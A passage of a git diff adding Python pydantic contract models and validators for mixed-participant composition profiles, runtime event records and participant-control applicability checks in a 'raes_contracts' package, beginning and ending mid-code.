type(child).model_validate(child.model_dump(mode="python")) + except (TypeError, ValueError) as exc: + raise ValueError("composition nested profile failed closed reconstruction") from exc + if reconstructed.profile_id != child_id or reconstructed.profile_digest != child_digest: + raise ValueError("composition nested profile is unresolved or stale") + return reconstructed + + +def resolve_mixed_composition_profiles( + profile: MixedParticipantCompositionProfileModel, + context: MixedCompositionResolutionContext, + *, + limits: MixedCompositionValidationLimits | None = None, + require_trial_admission: bool = False, +) -> tuple[MixedParticipantCompositionProfileModel, ...]: + """Validate and return the complete canonical reachable profile closure.""" + + selected = limits or MixedCompositionValidationLimits() + try: + root = type(profile).model_validate(profile.model_dump(mode="python")) + except (TypeError, ValueError) as exc: + raise ValueError("mixed composition root profile failed closed reconstruction") from exc + validator = _ContextValidator( + context, + selected, + require_trial_admission=require_trial_admission, + ) + validator.visit(root) + return tuple(validator.profiles[profile_id] for profile_id in sorted(validator.profiles)) + + +def validate_mixed_composition_context( + profile: MixedParticipantCompositionProfileModel, + context: MixedCompositionResolutionContext, + *, + limits: MixedCompositionValidationLimits | None = None, + require_trial_admission: bool = False, +) -> None: + """Resolve all external profile authority through bounded trusted indexes. + + The function performs no I/O, mutation, provider selection, compilation, or + repair. A successful return establishes only contextual contract validity. + """ + + resolve_mixed_composition_profiles( + profile, + context, + limits=limits, + require_trial_admission=require_trial_admission, + ) + + +def _validate_trial_admission_context( + profile: MixedParticipantCompositionProfileModel, + context: MixedCompositionResolutionContext, +) -> None: + """Validate scenario-owned projection/effect relationships required by trial admission.""" + + for component_id in profile.components: + if context.component_projection_membership.get((profile.profile_id, component_id)) is not True: + raise ValueError("composition component realization-envelope projection is unresolved or rejected") + effects = _resolved_allocation_effects(profile, context) + _validate_active_effect_overlap(profile, effects) + if profile.profile_id not in context.resource_refs: + raise ValueError("composition all-phase resource coverage is unresolved") + + +def _resolved_allocation_effects( + profile: MixedParticipantCompositionProfileModel, + context: MixedCompositionResolutionContext, +) -> dict[str, frozenset[str]]: + effects: dict[str, frozenset[str]] = {} + for allocation_id in profile.allocations: + resolved = context.allocation_effects.get((profile.profile_id, allocation_id)) + if not resolved: + raise ValueError("composition allocation semantic-effect coverage is unresolved") + effects[allocation_id] = resolved + return effects + + +def _validate_active_effect_overlap( + profile: MixedParticipantCompositionProfileModel, + effects: dict[str, frozenset[str]], +) -> None: + for phase in profile.phases.values(): + active = sorted(phase.active_allocation_ids) + for index, first_id in enumerate(active): + first = profile.allocations[first_id] + for second_id in active[index + 1 :]: + second = profile.allocations[second_id] + if ( + first.provider_component_id != second.provider_component_id + and effects[first_id] & effects[second_id] + ): + raise ValueError("active composition providers overlap one canonical semantic effect") + + +__all__ = [ + "MixedCompositionFeatureDowngradeAuthorization", + "MixedCompositionFeatureSupportResolver", + "MixedCompositionResolutionContext", + "MixedCompositionTrustedAllocation", + "MixedCompositionTrustedComponent", + "MixedCompositionTrustedEdge", + "MixedCompositionTrustedTransition", + "resolve_mixed_composition_profiles", + "validate_mixed_composition_context", +] diff --git a/implementations/python/packages/raes_contracts/contracts/mixed_composition_validation.py b/implementations/python/packages/raes_contracts/contracts/mixed_composition_validation.py new file mode 100644 index 000000000..dd300015f --- /dev/null +++ b/implementations/python/packages/raes_contracts/contracts/mixed_composition_validation.py @@ -0,0 +1,159 @@ +"""Root-local graph validation for mixed-participant composition profiles.""" + +from __future__ import annotations + +from dataclasses import dataclass +from typing import TYPE_CHECKING + +if TYPE_CHECKING: + from .mixed_composition import ( + MixedCompositionPhaseModel, + MixedParticipantCompositionProfileModel, + ) + + +@dataclass +class _PhaseUsage: + components: set[str] + allocations: set[str] + edges: set[str] + allocation_phases: dict[str, set[str]] + edge_phases: dict[str, set[str]] + + +def _validate_phase_order(profile: MixedParticipantCompositionProfileModel) -> set[str]: + phase_ids = set(profile.phases) + if profile.initial_phase_id not in phase_ids: + raise ValueError("initial_phase_id must resolve inside phases") + if len(profile.phase_order) != len(set(profile.phase_order)) or set(profile.phase_order) != phase_ids: + raise ValueError("phase_order must contain every phase exactly once") + if profile.phase_order[0] != profile.initial_phase_id: + raise ValueError("phase_order must begin with initial_phase_id") + return phase_ids + + +def _new_phase_usage(profile: MixedParticipantCompositionProfileModel) -> _PhaseUsage: + return _PhaseUsage( + components=set(), + allocations=set(), + edges=set(), + allocation_phases={key: set() for key in profile.allocations}, + edge_phases={key: set() for key in profile.edges}, + ) + + +def _record_phase_allocations( + profile: MixedParticipantCompositionProfileModel, + phase: MixedCompositionPhaseModel, + components: set[str], + allocations: set[str], + usage: _PhaseUsage, +) -> None: + providers_by_target: dict[tuple[str, str], str] = {} + for allocation_id in allocations: + allocation = profile.allocations[allocation_id] + usage.allocation_phases[allocation_id].add(phase.phase_id) + if allocation.provider_component_id not in components: + raise ValueError("phase allocation provider must be an active component") + target = (allocation.target_kind, allocation.target_address) + incumbent = providers_by_target.setdefault(target, allocation.provider_component_id) + if incumbent != allocation.provider_component_id: + raise ValueError("each phase target must have exactly one canonical provider") + + +def _record_phase_edges( + profile: MixedParticipantCompositionProfileModel, + phase: MixedCompositionPhaseModel, + components: set[str], + edges: set[str], + usage: _PhaseUsage, +) -> None: + for edge_id in edges: + edge = profile.edges[edge_id] + usage.edge_phases[edge_id].add(phase.phase_id) + if edge.source_component_id not in components or edge.target_component_id not in components: + raise ValueError("active edge endpoints must both be active components") + + +def _record_phase_usage( + profile: MixedParticipantCompositionProfileModel, + phase: MixedCompositionPhaseModel, + usage: _PhaseUsage, +) -> None: + components = set(phase.active_component_ids) + allocations = set(phase.active_allocation_ids) + edges = set(phase.active_edge_ids) + if not components <= set(profile.components): + raise ValueError("phase references an unknown component") + if not allocations <= set(profile.allocations): + raise ValueError("phase references an unknown allocation") + if not edges <= set(profile.edges): + raise ValueError("phase references an unknown edge") + usage.components.update(components) + usage.allocations.update(allocations) + usage.edges.update(edges) + _record_phase_allocations(profile, phase, components, allocations, usage) + _record_phase_edges(profile, phase, components, edges, usage) + + +def _collect_phase_usage(profile: MixedParticipantCompositionProfileModel) -> _PhaseUsage: + usage = _new_phase_usage(profile) + for phase in profile.phases.values(): + _record_phase_usage(profile, phase, usage) + return usage + + +def _validate_activity_coverage( + profile: MixedParticipantCompositionProfileModel, + usage: _PhaseUsage, +) -> None: + if usage.components != set(profile.components): + raise ValueError("composition profile must not contain orphan components") + if usage.allocations != set(profile.allocations): + raise ValueError("composition profile must not contain orphan allocations") + if usage.edges != set(profile.edges): + raise ValueError("composition profile must not contain orphan edges") + for allocation_id, active_phases in usage.allocation_phases.items(): + if active_phases != set(profile.allocations[allocation_id].phase_ids): + raise ValueError("allocation phase_ids must equal its active phase membership") + for edge_id, active_phases in usage.edge_phases.items(): + if active_phases != set(profile.edges[edge_id].phase_ids): + raise ValueError("edge phase_ids must equal its active phase membership") + + +def _validate_transitions( + profile: MixedParticipantCompositionProfileModel, + phase_ids: set[str], +) -> None: + transition_pairs: set[tuple[str, str]] = set() + for transition in profile.transitions.values(): + if transition.source_phase_id not in phase_ids or transition.target_phase_id not in phase_ids: + raise ValueError("transition phases must resolve inside the profile") + pair = (transition.source_phase_id, transition.target_phase_id) + if pair in transition_pairs: + raise ValueError("phase transitions must have one canonical transition per directed pair") + transition_pairs.add(pair) + expected_pairs = set(zip(profile.phase_order, profile.phase_order[1:], strict=False)) + if transition_pairs != expected_pairs: + raise ValueError("transitions must exactly connect adjacent phase_order entries") + + +def _validate_fixed_membership(profile: MixedParticipantCompositionProfileModel) -> None: + if profile.federation_membership != "fixed": + return + memberships = {tuple(sorted(phase.active_component_ids)) for phase in profile.phases.values()} + if len(memberships) != 1: + raise ValueError("fixed federation membership cannot vary by phase") + + +def validate_mixed_composition_phase_graph(profile: MixedParticipantCompositionProfileModel) -> None: + """Validate closed phase membership, activity, and transition invariants.""" + + phase_ids = _validate_phase_order(profile) + usage = _collect_phase_usage(profile) + _validate_activity_coverage(profile, usage) + _validate_transitions(profile, phase_ids) + _validate_fixed_membership(profile) + + +__all__ = ["validate_mixed_composition_phase_graph"] diff --git a/implementations/python/packages/raes_contracts/contracts/mixed_runtime.py b/implementations/python/packages/raes_contracts/contracts/mixed_runtime.py new file mode 100644 index 000000000..9d3842495 --- /dev/null +++ b/implementations/python/packages/raes_contracts/contracts/mixed_runtime.py @@ -0,0 +1,148 @@ +"""Closed, value-free facts for one admitted mixed composition at runtime.""" + +from __future__ import annotations + +from typing import Literal + +from pydantic import Field, model_validator + +from .base import ContractModel, NonEmptyString, PrefixedDigestString + +_EventKind = Literal[ + "phase-activated", + "phase-transition", + "decision", + "attempt", + "result", + "lifecycle-decision", + "lifecycle-attempt", + "lifecycle-result", + "delivery", + "observation", + "handoff", + "weakening", + "failure", +] +_Disposition = Literal["committed", "permitted", "denied", "succeeded", "failed", "indeterminate"] + + +class MixedCompositionRuntimeEventModel(ContractModel): + """One append-only phase or coordination fact, never a copied payload.""" + + event_id: NonEmptyString + event_kind: _EventKind + run_id: NonEmptyString + plan_id: NonEmptyString + plan_entry_id: NonEmptyString + profile_id: NonEmptyString + profile_digest: PrefixedDigestString + phase_id: NonEmptyString + phase_revision: int = Field(ge=0) + active_component_ids: list[NonEmptyString] = Field(min_length=1, max_length=64) + active_allocation_ids: list[NonEmptyString] = Field(min_length=1, max_length=1024) + active_edge_ids: list[NonEmptyString] = Field(default_factory=list, max_length=1024) + disposition: _Disposition + predecessor_event_id: NonEmptyString | None = None + allocation_id: NonEmptyString | None = None + component_id: NonEmptyString | None = None + edge_id: NonEmptyString | None = None + control_event_ref: NonEmptyString | None = None + crossing_event_ref: NonEmptyString | None = None + policy_decision_ref: NonEmptyString | None = None + mapping_ref: NonEmptyString | None = None + order_ref: NonEmptyString + mapping_loss_refs: list[NonEmptyString] = Field(default_factory=list, max_length=64) + evidence_refs: list[NonEmptyString] = Field(default_factory=list, max_length=64) + provenance_refs: list[NonEmptyString] = Field(default_factory=list, max_length=64) + + @model_validator(mode="after") + def _validate_identity(self) -> MixedCompositionRuntimeEventModel: + _require_unique_membership(self) + _require_event_position(self) + _require_coordination_identity(self) + _require_mapping_identity(self) + return self + + +_ACTION_FACT_KINDS = frozenset({"decision", "attempt", "result", "delivery", "observation", "weakening"}) +_LIFECYCLE_FACT_KINDS = frozenset({"lifecycle-decision", "lifecycle-attempt", "lifecycle-result"}) + + +def _require_unique_membership(event: MixedCompositionRuntimeEventModel) -> None: + for name in ("active_component_ids", "active_allocation_ids", "active_edge_ids"): + values = getattr(event, name) + if len(values) != len(set(values)): + raise ValueError(f"{name} must be unique") + + +def _require_event_position(event: MixedCompositionRuntimeEventModel) -> None: + initial = event.event_kind == "phase-activated" + if initial and (event.phase_revision != 0 or event.predecessor_event_id): + raise ValueError("initial phase fact must have revision zero and no predecessor") + if not initial and event.predecessor_event_id is None: + raise ValueError("subsequent composition facts require a predecessor") + + +def _require_coordination_identity(event: MixedCompositionRuntimeEventModel) -> None: + action_coordinates = ( + event.allocation_id, + event.component_id, + event.control_event_ref, + event.crossing_event_ref, + event.policy_decision_ref, + ) + lifecycle_coordinates = (event.allocation_id, event.component_id, event.control_event_ref) + if event.event_kind in _ACTION_FACT_KINDS and any(value is None for value in action_coordinates): + raise ValueError("action coordination facts require exact allocation, component, control, and policy identity") + if event.event_kind in _LIFECYCLE_FACT_KINDS: + _require_lifecycle_coordinates(event, lifecycle_coordinates) + if event.event_kind == "failure": + _require_failure_coordinates(event, action_coordinates, lifecycle_coordinates) + + +def _require_lifecycle_coordinates( + event: MixedCompositionRuntimeEventModel, + coordinates: tuple[object | None, ...], +) -> None: + if any(value is None for value in coordinates): + raise ValueError("lifecycle coordination facts require exact allocation, component, and control identity") + if event.crossing_event_ref is not None or event.policy_decision_ref is not None: + raise ValueError("lifecycle coordination facts cannot claim a participant crossing decision") + + +def _require_failure_coordinates( + event: MixedCompositionRuntimeEventModel, + action_coordinates: tuple[object | None, ...], + lifecycle_coordinates: tuple[object | None, ...], +) -> None: + action_failure = event.crossing_event_ref is not None or event.policy_decision_ref is not None + if action_failure and any(value is None for value in action_coordinates): + raise ValueError("action failure identity must be complete when present") + lifecycle_failure = event.allocation_id is not None or event.component_id is not None + if not action_failure and lifecycle_failure and any(value is None for value in lifecycle_coordinates): + raise ValueError("lifecycle failure identity must be complete when present") + + +def _require_mapping_identity(event: MixedCompositionRuntimeEventModel) -> None: + if event.edge_id is None and (event.mapping_ref is not None or event.mapping_loss_refs): + raise ValueError("mapping facts require an exact composition edge") + if event.edge_id is not None and event.mapping_ref is None: + raise ValueError("composition edge facts require an exact time mapping") + if event.event_kind == "weakening" and not event.mapping_loss_refs: + raise ValueError("weakening facts require an admitted mapping loss") + + +class MixedCompositionRuntimeStateModel(ContractModel): + """The current phase fold over a validated append-only event chain.""" + + run_id: NonEmptyString + plan_id: NonEmptyString + plan_entry_id: NonEmptyString + profile_id: NonEmptyString + profile_digest: PrefixedDigestString + phase_id: NonEmptyString + phase_revision: int = Field(ge=0) + active_component_ids: list[NonEmptyString] = Field(min_length=1, max_length=64) + active_allocation_ids: list[NonEmptyString] = Field(min_length=1, max_length=1024) + active_edge_ids: list[NonEmptyString] = Field(default_factory=list, max_length=1024) + history_head: NonEmptyString diff --git a/implementations/python/packages/raes_contracts/contracts/observation_capture.py b/implementations/python/packages/raes_contracts/contracts/observation_capture.py index 519709b02..74e71baec 100644 --- a/implementations/python/packages/raes_contracts/contracts/observation_capture.py +++ b/implementations/python/packages/raes_contracts/contracts/observation_capture.py @@ -9,6 +9,8 @@ from pydantic.json_schema import JsonSchemaValue from pydantic_core import CoreSchema +from ..capture_dimensions import CAPTURE_SET_FIELDS +from ..evidence_output_validation import validate_evidence_output_offer from .base import ContractModel, NonEmptyString from .validators import _validate_unique_string_values @@ -41,19 +43,7 @@ class ObservationCaptureOfferModel(ContractModel): @model_validator(mode="after") def _validate_capture_offer(self) -> ObservationCaptureOfferModel: - for field_name in ( - "artifact_roles", - "media_types", - "source_classes", - "source_refs", - "scopes", - "scope_refs", - "channel_kinds", - "channel_refs", - "window_kinds", - "integrity_modes", - "retention_policy_refs", - ): + for field_name in CAPTURE_SET_FIELDS: _validate_unique_string_values(field_name, getattr(self, field_name)) if len(self.field_selectors) != len(set(self.field_selectors)): raise ValueError("field_selectors must not contain duplicate values") @@ -65,6 +55,7 @@ def _validate_capture_offer(self) -> ObservationCaptureOfferModel: raise ValueError("capture offer scope_refs must name exact authored targets") if (self.disclosure == "full") != (self.redaction_policy is None): raise ValueError("redacted or withheld capture offers require exactly one redaction_policy") + validate_evidence_output_offer(self.output_contract, self.media_types) return self @classmethod diff --git a/implementations/python/packages/raes_contracts/contracts/participant_control_applicability.py b/implementations/python/packages/raes_contracts/contracts/participant_control_applicability.py new file mode 100644 index 000000000..a1c216e75 --- /dev/null +++ b/implementations/python/packages/raes_contracts/contracts/participant_control_applicability.py @@ -0,0 +1,262 @@ +"""Versioned API-424 apparatus and exact-cut applicability records. + +These records describe an admitted evaluation. They do not install a provider +or make an untrusted applicability proof authoritative. +""" + +from __future__ import annotations + +from graphlib import TopologicalSorter +from typing import Annotated, Literal, Self + +from pydantic import ConfigDict, Field, model_validator + +from .base import ContractModel, PrefixedDigestString +from .participant_control_composition import control_digest +from .participant_control_coordinates import ( + Artifacts, + ControlArtifactReferenceModel, + ControlRef, + ControlRefs, + Evidence, + ParticipantControlContextModel, + ResultKind, + require_kind, + require_unique, +) +from .participant_control_selection import ( + ControlMechanismBindingModel, + ControlResultSlotModel, + ParticipantControlSelectionModel, +) + + +class ControlStateScopeV2Model(ContractModel): + """Admitted sharing scope, distinct from participant memory and profile.""" + + model_config = ConfigDict(frozen=True) + scope_id: ControlRef + sharing: Literal["run", "participant", "episode"] + authority: ControlArtifactReferenceModel + configuration_digest: PrefixedDigestString + + @model_validator(mode="after") + def _authority(self) -> Self: + require_kind(self.authority, "authority") + return self + + +class ControlMechanismBindingV2Model(ControlMechanismBindingModel): + protocol_revision: Literal["participant-control-provider/v2"] + state_scope: ControlStateScopeV2Model + + @model_validator(mode="after") + def _scope_binding(self) -> Self: + if ( + self.state_scope.authority != self.authority + or self.state_scope.configuration_digest != self.configuration_digest + ): + raise ValueError("participant control state scope differs from its binding") + return self + + +class ControlProfileObligationV2Model(ContractModel): + """Profile-owned obligation declared before any provider result exists.""" + + model_config = ConfigDict(frozen=True) + obligation_id: ControlRef + profile: ControlArtifactReferenceModel + required_kind: ResultKind + required_strength: Literal["exact", "bounded", "disclosed_weak"] + constraints: Artifacts + + @model_validator(mode="after") + def _owner(self) -> Self: + require_kind(self.profile, "profile") + for constraint in self.constraints: + require_kind(constraint, "constraint") + if self.required_strength == "bounded" and not self.constraints: + raise ValueError("bounded obligation requires admitted constraints") + return self + + +class ControlResultSlotV2Model(ControlResultSlotModel): + """Admitted required-input support pin, independent of provider claims.""" + + required_strength: Literal["exact", "bounded", "disclosed_weak"] = "exact" + constraints: Artifacts = () + + @model_validator(mode="after") + def _support_pin(self) -> Self: + for item in self.constraints: + require_kind(item, "constraint") + if self.required_strength == "bounded" and not self.constraints: + raise ValueError("bounded slot support requires admitted constraints") + return self + + +class ParticipantControlSelectionV2Model(ParticipantControlSelectionModel): + """Complete B; no exact-cut filtering changes this identity.""" + + schema_version: Literal["participant-control-selection/v2"] + interpretation: Literal["participant-control-applicability/rev1"] + bindings: Annotated[tuple[ControlMechanismBindingV2Model, ...], Field(max_length=64)] + slots: Annotated[tuple[ControlResultSlotV2Model, ...], Field(max_length=256)] + obligations: Annotated[tuple[ControlProfileObligationV2Model, ...], Field(max_length=256)] + + @model_validator(mode="after") + def _obligation_owners(self) -> Self: + require_unique(tuple(item.obligation_id for item in self.obligations)) + selected = {profile for binding in self.bindings for profile in binding.profiles} + declared = {item.profile for item in self.obligations} + if not {profile for profile in selected if profile.ref in self.required_profiles} <= declared: + raise ValueError("required participant control profile has no obligations") + if any(item.profile not in selected for item in self.obligations): + raise ValueError("participant control obligation profile is not admitted") + return self + + +class ControlObligationCoverageV2Model(ContractModel): + model_config = ConfigDict(frozen=True) + obligation_id: ControlRef + status: Literal["applies", "proven-inapplicable", "unresolved"] + slot_ids: ControlRefs + evidence: Evidence + + @model_validator(mode="after") + def _discharge(self) -> Self: + require_unique(self.slot_ids) + if (self.status == "applies") != bool(self.slot_ids): + raise ValueError("participant control coverage has no valid slot discharge") + return self + + +class ControlApplicabilityV2Model(ContractModel): + model_config = ConfigDict(frozen=True) + selection_digest: PrefixedDigestString + context_digest: PrefixedDigestString + applicable_slot_ids: ControlRefs + required_slot_ids: ControlRefs + coverage: Annotated[tuple[ControlObligationCoverageV2Model, ...], Field(max_length=256)] + derivation_evidence: Evidence + + +class ParticipantControlRequestV2Model(ContractModel): + """Exact K plus A(B,K), with B and total profile coverage retained.""" + + model_config = ConfigDict(frozen=True) + selection: ParticipantControlSelectionV2Model + context: ParticipantControlContextModel + applicability: ControlApplicabilityV2Model + + @model_validator(mode="after") + def _exact_cut(self) -> Self: + _validate_request_identity(self) + _validate_required_closure(self) + _validate_coverage(self) + _validate_context_bindings(self) + _validate_causal_bounds(self) + return self + + +def _validate_request_identity(request: ParticipantControlRequestV2Model) -> None: + selection, context, applicability = request.selection, request.context, request.applicability + if selection.apparatus != context.apparatus: + raise ValueError("participant control apparatus binding differs") + if applicability.selection_digest != control_digest(selection) or applicability.context_digest != control_digest( + context + ): + raise ValueError("participant control applicability has a different admitted identity or cut") + + +def _validate_coverage(request: ParticipantControlRequestV2Model) -> None: + selection, applicability = request.selection, request.applicability + slots = {slot.slot_id: slot for slot in selection.slots} + bindings = {binding.instance_id: binding for binding in selection.bindings} + obligations = {item.obligation_id: item for item in selection.obligations} + coverage = {item.obligation_id: item for item in applicability.coverage} + require_unique(tuple(item.obligation_id for item in applicability.coverage)) + if coverage.keys() != obligations.keys(): + raise ValueError("participant control coverage is incomplete") + applicable = set(applicability.applicable_slot_ids) + for item in applicability.coverage: + if item.status == "applies": + _validate_applied_coverage(item, obligations[item.obligation_id], slots, bindings, applicable) + + +def _validate_applied_coverage( + item: ControlObligationCoverageV2Model, + obligation: ControlProfileObligationV2Model, + slots: dict[str, ControlResultSlotV2Model], + bindings: dict[str, ControlMechanismBindingV2Model], + applicable: set[str], +) -> None: + for identity in item.slot_ids: + if identity not in applicable or slots[identity].kind != obligation.required_kind: + raise ValueError("participant control coverage does not map to an applicable typed slot") + if obligation.profile not in bindings[slots[identity].instance_id].profiles: + raise ValueError("participant control coverage slot does not select its owning profile") + + +def _coverage_roots(request: ParticipantControlRequestV2Model) -> set[str]: + applicable = set(request.applicability.applicable_slot_ids) + roots = { + slot_id for item in request.applicability.coverage if item.status == "applies" for slot_id in item.slot_ids + } + roots.update( + slot.slot_id for slot in request.selection.slots if slot.role == "mandatory" and slot.slot_id in applicable + ) + return roots + + +def _validate_required_closure(request: ParticipantControlRequestV2Model) -> None: + applicability = request.applicability + slots = {slot.slot_id: slot for slot in request.selection.slots} + applicable = set(applicability.applicable_slot_ids) + required = set(applicability.required_slot_ids) + require_unique(applicability.applicable_slot_ids) + require_unique(applicability.required_slot_ids) + if applicable - slots.keys() or required - applicable: + raise ValueError("participant control applicable slots are not admitted") + roots = _coverage_roots(request) + graph = {slot.slot_id: {dep.slot_id for dep in slot.dependencies} for slot in request.selection.slots} + for identity in reversed(tuple(TopologicalSorter(graph).static_order())): + if identity in roots: + roots.update(graph[identity]) + if roots != required or any(not graph[identity] <= applicable for identity in applicable): + raise ValueError("participant control required input closure or applicable subset is incomplete") + + +def _validate_context_bindings(request: ParticipantControlRequestV2Model) -> None: + selection, context, applicability = request.selection, request.context, request.applicability + slots = {slot.slot_id: slot for slot in selection.slots} + bindings = {binding.instance_id: binding for binding in selection.bindings} + matching_instances = {slots[identity].instance_id for identity in applicability.applicable_slot_ids} + if {state.instance_id for state in context.provider_states} != matching_instances: + raise ValueError("participant control provider-state coverage is incomplete") + for instance in matching_instances: + binding = bindings[instance] + if binding.memory_scope != context.memory_scope or not any( + (a.participant_address, a.episode_id, a.direction, a.sink_ref, a.phase_ref, a.subject_kind) + == ( + context.participant_address, + context.episode_id, + context.direction, + context.sink_ref, + context.phase_ref, + context.subject.subject_kind, + ) + for a in binding.applicability + ): + raise ValueError("participant control applicable binding does not match the exact crossing") + + +def _validate_causal_bounds(request: ParticipantControlRequestV2Model) -> None: + context, bounds = request.context, request.selection.bounds + if ( + context.depth > bounds.max_depth + or context.effects_consumed > bounds.max_effects + or context.attempt > bounds.max_attempts + or context.order > bounds.expires_at_order + ): + raise ValueError("participant control causal bounds are exhausted") diff --git a/implementations/python/packages/raes_contracts/contracts/participant_control_composition.py b/implementations/python/packages/raes_contracts/contracts/participant_control_composition.py new file mode 100644 index 000000000..e59a926a3 --- /dev/null +++ b/implementations/python/packages/raes_contracts/contracts/participant_control_composition.py @@ -0,0 +1,404 @@ +"""Portable evaluation records and pure local consistency checks for API-424.""" + +from __future__ import annotations + +from collections.abc import Sequence +from graphlib import TopologicalSorter +from typing import Annotated, Literal, Self + +from pydantic import ConfigDict, Field, model_validator + +from .._canonical import canonical_json_digest +from ..json_ingress import parse_bounded_json_object +from .base import ContractModel +from .participant_control_coordinates import ( + ControlArtifactReferenceModel, + ControlRef, + ParticipantControlContextModel, + require_unique, +) +from .participant_control_effect_composition import control_effect_blockers +from .participant_control_effects import ControlEffectRequestModel +from .participant_control_results import ( + ControlCompositionModel, + ControlEffectiveSupportModel, + ControlMechanismResultModel, + ControlRealizationBindingModel, +) +from .participant_control_selection import ( + ControlMechanismBindingModel, + ControlResultSlotModel, + ParticipantControlSelectionModel, +) + + +def control_digest(record: ContractModel) -> str: + """JCS digest of the complete portable record, including explicit nulls.""" + return canonical_json_digest(record.model_dump(mode="json")) + + +class ParticipantControlRequestModel(ContractModel): + model_config = ConfigDict(frozen=True) + selection: ParticipantControlSelectionModel + context: ParticipantControlContextModel + + @model_validator(mode="after") + def _admitted_scope(self) -> Self: + selection, context = self.selection, self.context + if selection.apparatus != context.apparatus: + raise ValueError("participant control apparatus binding differs") + if {state.instance_id for state in context.provider_states} != {b.instance_id for b in selection.bindings}: + raise ValueError("participant control provider-state coverage is incomplete") + for binding in selection.bindings: + if binding.memory_scope != context.memory_scope: + raise ValueError("participant control memory binding differs") + if not any( + (a.participant_address, a.episode_id, a.direction, a.sink_ref, a.phase_ref, a.subject_kind) + == ( + context.participant_address, + context.episode_id, + context.direction, + context.sink_ref, + context.phase_ref, + context.subject.subject_kind, + ) + for a in binding.applicability + ): + raise ValueError("participant control applicability is unresolved") + bounds = selection.bounds + if ( + context.depth > bounds.max_depth + or context.effects_consumed > bounds.max_effects + or context.attempt > bounds.max_attempts + or context.order > bounds.expires_at_order + ): + raise ValueError("participant control causal bounds are exhausted") + return self + + +class ParticipantControlEvaluationModel(ContractModel): + """Complete contributor record. Eligibility is not authorization or dispatch.""" + + model_config = ConfigDict(frozen=True) + schema_version: Literal["participant-control-evaluation/v1"] + evaluation_id: ControlRef + request: ParticipantControlRequestModel + results: Annotated[tuple[ControlMechanismResultModel, ...], Field(max_length=256)] + support: Annotated[tuple[ControlEffectiveSupportModel, ...], Field(max_length=64)] + composition: ControlCompositionModel + realizations: Annotated[tuple[ControlRealizationBindingModel, ...], Field(max_length=256)] + + @model_validator(mode="after") + def _evaluation(self) -> Self: + validate_evaluation_structure(self) + return self + + +def _result_satisfied(result: ControlMechanismResultModel) -> bool: + if result.status != "resolved": + return False + return result.payload.kind != "decision" or result.payload.disposition == "permit" + + +def _validate_result_binding( + result: ControlMechanismResultModel, + slot: ControlResultSlotModel, + binding: ControlMechanismBindingModel, + context_digest: str, +) -> None: + if result.instance_id != slot.instance_id or result.binding_digest != control_digest(binding): + raise ValueError("mechanism result does not bind the selected instance") + if result.context_digest != context_digest: + raise ValueError("mechanism result uses a stale or different exact context") + if result.payload is not None and result.payload.kind != slot.kind: + raise ValueError("mechanism result payload does not match its typed slot") + + +def _validate_ifc_result( + result: ControlMechanismResultModel, + binding: ControlMechanismBindingModel, + context: ParticipantControlContextModel, +) -> None: + if result.payload is None or result.payload.kind != "ifc-fact": + return + profiles = {profile.ref for profile in binding.profiles} + expected = ( + "teaching-influence" + if result.payload.domain == "teaching-influence-domain/rev1" + else "participant-boundary-flow-policy-v1" + ) + if expected not in profiles: + raise ValueError("IFC fact domain is not selected by its mechanism") + if expected == "teaching-influence" and set(result.payload.source_refs) != set(context.inputs): + raise ValueError("teaching propagation must cover every admitted input") + + +def contributing_result_ids(results: Sequence[ControlMechanismResultModel]) -> tuple[str, ...]: + """Canonical contributor order; serialization only, never a precedence.""" + return tuple(result.result_id for result in sorted(results, key=lambda r: (r.instance_id, r.slot_id))) + + +def _result_index( + selection: ParticipantControlSelectionModel, + results: Sequence[ControlMechanismResultModel], +) -> dict[str, ControlMechanismResultModel]: + index = {result.slot_id: result for result in results} + require_unique(tuple(result.slot_id for result in results)) + require_unique(tuple(result.result_id for result in results)) + if index.keys() != {slot.slot_id for slot in selection.slots}: + raise ValueError("every selected slot requires an explicit result or absence record") + return index + + +def _result_blockers( + request: ParticipantControlRequestModel, + results: Sequence[ControlMechanismResultModel], +) -> set[str]: + selection = request.selection + context_digest = control_digest(request.context) + bindings = {binding.instance_id: binding for binding in selection.bindings} + slots = {slot.slot_id: slot for slot in selection.slots} + index = _result_index(selection, results) + for slot_id, result in index.items(): + slot = slots[slot_id] + binding = bindings[slot.instance_id] + _validate_result_binding(result, slot, binding, context_digest) + _validate_ifc_result(result, binding, request.context) + return _mandatory_blockers(selection, index) + + +def _mandatory_blockers( + selection: ParticipantControlSelectionModel, results: dict[str, ControlMechanismResultModel] +) -> set[str]: + graph = {slot.slot_id: {dep.slot_id for dep in slot.dependencies} for slot in selection.slots} + satisfied = {} + for identity in TopologicalSorter(graph).static_order(): + satisfied[identity] = _result_satisfied(results[identity]) and all(satisfied[dep] for dep in graph[identity]) + blockers = set() + for slot in selection.slots: + slot_id = slot.slot_id + result = results[slot_id] + if slot.role == "mandatory" and not _result_satisfied(result): + blockers.add("slot:" + slot_id) + if slot.role == "mandatory" and any(not satisfied[dep.slot_id] for dep in slot.dependencies): + blockers.add("dependency:" + slot_id) + return blockers + + +# MPC-06 consequences, strongest first. This renders one exact reason for a +# composition that already blocks; it never selects a winner among mechanisms. +_DISPOSITION_PRECEDENCE = ("conflict", "stale", "unsupported", "weakened", "deny", "withhold", "failed") +_UNSATISFIED_STATUS = { + "stale": "stale", + "unsupported": "unsupported", + "weakened": "weakened", + "failed": "failed", + "missing": "failed", + "unknown": "failed", +} + + +def _result_cause(result: ControlMechanismResultModel) -> str | None: + if result.status != "resolved": + return _UNSATISFIED_STATUS[result.status] + payload = result.payload + if payload is None or payload.kind != "decision" or payload.disposition == "permit": + return None + # A mandatory abstain is unsatisfied, never implicit permission. + return payload.disposition if payload.disposition in {"deny", "withhold"} else "failed" + + +def _support_cause(item: ControlEffectiveSupportModel) -> str: + if item.effective_level == "unsupported": + return "unsupported" + if item.status != "resolved": + return _UNSATISFIED_STATUS[item.status] + return "weakened" + + +def _slot_causes( + selection: ParticipantControlSelectionModel, + results: dict[str, ControlMechanismResultModel], + slot_id: str, +) -> set[str]: + """Collect the exact unsatisfied reasons in one slot's dependency closure.""" + slots = {slot.slot_id: slot for slot in selection.slots} + causes: set[str] = set() + pending, seen = [slot_id], set() + while pending: + current = pending.pop() + if current in seen: + continue + seen.add(current) + cause = _result_cause(results[current]) + if cause is not None: + causes.add(cause) + pending.extend(dependency.slot_id for dependency in slots[current].dependencies) + return causes + + +def _composition_disposition( + request: ParticipantControlRequestModel, + results: Sequence[ControlMechanismResultModel], + support: Sequence[ControlEffectiveSupportModel], + blockers: set[str], + incumbent_gate_disposition: str, +) -> str: + if not blockers: + return "eligible" + indexed = {result.slot_id: 